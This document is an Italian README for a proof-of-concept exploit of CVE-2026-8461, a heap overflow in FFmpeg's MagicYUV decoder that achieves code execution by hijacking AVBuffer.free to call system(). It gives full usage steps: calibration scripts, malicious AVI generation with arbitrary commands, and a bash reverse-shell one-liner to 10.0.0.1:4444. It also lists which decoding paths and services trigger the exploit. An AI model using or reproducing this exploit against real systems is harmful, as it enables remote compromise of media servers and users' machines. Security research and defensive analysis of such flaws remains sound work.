
Exploit proof-of-concept per CVE-2026-8461, una scrittura out-of-bounds nell'heap nel decoder MagicYUV di FFmpeg, che raggiunge l'esecuzione remota di codice tramite il dirottamento di AVBuffer.free. Include script di calibrazione per build di debug e produzione.
[!WARNING] Questo repository contiene un PoC funzionante per una vulnerabilità di corruzione dell'heap. È destinato esclusivamente a ricerche di sicurezza autorizzate, contesti CTF e analisi difensive. Non utilizzare contro sistemi che non possiedi o per cui non hai esplicita autorizzazione scritta.
Interessato: Decoder MagicYUV di FFmpeg 8.0.1 (libavcodec/magicyuv.c)
Primitiva: Scrittura OOB nell'heap → hijack di AVBuffer.free → chiamata system()
magy_decode_slice() utilizza sheight (altezza della slice non limitata) come limite del ciclo per scrivere nel piano di output Cb/Cr, ma alloca il buffer usando l'altezza limitata height. Nell'ultima slice di un frame appositamente costruito, il ciclo scrive oltre la fine della regione allocata.
// magicyuv.c:291 — dst pointer is already at sheight×stride past buffer start
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // OOB write when sheight > height
La scrittura fuori dai limiti va a finire in una struttura AVBuffer allocata successivamente. Controllando i byte scritti, AVBuffer.free viene sovrascritto con l'indirizzo di system() e AVBuffer.opaque con l'indirizzo della stringa di comando nell'heap. Quando il frame viene liberato, av_buffer_unref() chiama system(cmd).
Report tecnico completo: English · 中文
| File | Descrizione |
|---|---|
exploit_cve_2026_8461.py | Generatore AVI dell'exploit — crea il bitstream MagicYUV malevolo |
auto_calibrate.py | Auto-calibrazione per build di debug (richiede simboli di debug -g) |
auto_calibrate_nosym.py | Auto-calibrazione per build di produzione (strippate, librerie condivise) |
CVE-2026-8461_Analysis_EN.md | Analisi completa della vulnerabilità (Inglese) |
CVE-2026-8461_Analysis.md | Analisi completa della vulnerabilità (中文) |
ffmpeg_prod | Binario FFmpeg 8.0.1 di produzione strippato per test locali |
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR disabled — required for calibration)
Dipendenze Python: nessuna (solo stdlib).
sudo sysctl -w kernel.randomize_va_space=0
Build di debug (compilata con -g, ad esempio da sorgente con --enable-debug):
python3 auto_calibrate.py \
--ffmpeg /path/to/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
Build di produzione (libreria condivisa strippata, ad esempio apt install ffmpeg o --enable-shared personalizzato):
python3 auto_calibrate_nosym.py \
--ffmpeg /path/to/ffmpeg \
--libpath /path/to/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
Il percorso
--avideve essere identico tra calibrazione e distribuzione dell'exploit. Modificare la lunghezza della stringa del percorso sposta il layout dell'heap e invalida la calibrazione.
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# Build di debug (collegata staticamente)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -
# Build di produzione (libreria condivisa)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -
# FFmpeg installato di sistema (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
Output previsto: il comando viene eseguito, poi il processo crasha con corrupted size vs. prev_size.
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
Binario FFmpeg target
│
├─ Ha simboli di debug? (file ffmpeg | grep debug_info)
│ └─ SÌ → auto_calibrate.py
│
└─ Strippato / produzione
│
├─ Collegato dinamicamente? (ldd ffmpeg | grep libavutil)
│ └─ SÌ → auto_calibrate_nosym.py
│
└─ Collegato staticamente + completamente strippato
└─ Nessuno script si applica
(richiede approccio con hook malloc LD_PRELOAD)
auto_calibrate_nosym.py funziona:
av_buffer_create (sempre presente in libavutil.so .dynsym) per catturare i puntatori ai dati Cb e Cr senza bisogno di simboli a livello di sorgente.AVBuffer ed estrarre l'indirizzo di system().L'exploit si attiva quando il target decodifica il frame video (non solo lo analizza):
| Invocazione | Attiva RCE |
|---|---|
ffmpeg -i evil.avi -f null - | Sì |
ffmpeg -i evil.avi -o out.mp4 | Sì |
| Servizio di transcodifica web (ciclo di decodifica libavcodec) | Sì |
| Lettore video che utilizza libavcodec | Sì |
ffmpeg -i evil.avi (nessun output specificato) | No — il processo termina prima che av_buffer_unref venga chiamato |
ffprobe evil.avi | No — percorso solo di analisi, nessuna decodifica completa |
Per dimostrare la vulnerabilità senza eseguire un comando:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# crasha con: free(): invalid pointer o corrupted size vs. prev_size
AVBuffer si trova entro 640 byte dall'indirizzo di inizio OOB del piano Cb. Su aarch64, l'ordine di allocazione glibc posiziona AVBuffer oltre tale intervallo (il chunk adiacente è il buffer Cr di circa 10 KB), quindi la scrittura OOB non può raggiungerlo con la geometria del frame corrente. Il porting su aarch64 richiede la profilazione del layout dell'heap aarch64 e la regolazione della geometria del frame di conseguenza.kernel.randomize_va_space=0). Con ASLR abilitato, gli indirizzi dell'heap sono randomizzati ad ogni esecuzione e la calibrazione non si applica. Sarebbe necessaria una primitiva di leak di informazioni per estendere questo a target con ASLR attivo.auto_calibrate_nosym.py: Richiede un FFmpeg collegato dinamicamente con libavutil.so accessibile (sia nei percorsi di sistema che tramite --libpath).